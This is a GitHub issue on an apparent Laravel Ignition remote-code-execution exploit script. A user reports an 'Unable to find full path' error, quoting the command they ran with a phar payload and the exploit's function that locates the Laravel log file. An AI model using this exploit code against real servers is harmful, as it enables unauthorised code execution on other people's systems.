Skip to content
New issue

Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.

By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.

Already on GitHub? Sign in to your account

Unable to find full path #4

Open
Jamalc0m opened this issue Nov 28, 2021 · 0 comments
Open

Unable to find full path #4

Jamalc0m opened this issue Nov 28, 2021 · 0 comments

Comments

@Jamalc0m
Copy link

When running the script against the target, I'm getting the below error:
./laravel-ignition-rce.py https://www.targer.com/ /tmp/exploit.phar

"- Unable to find full path "

def get_log_path(self):
r = self.run_wrapper('DOESNOTEXIST')
match = re.search(r'"file":"(\/[^"]+?)\/vendor\/[^"]+?"', r.text)
if not match:
self.failure('Unable to find full path')
path = match.group(1).replace('\/', '/')
path = f'{path}/storage/logs/laravel.log'
r = self.run_wrapper(path)
if r.status_code != 200:
self.failure('Log file does not exist: {}', path)

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment
Labels
None yet
Projects
None yet
Development

No branches or pull requests

1 participant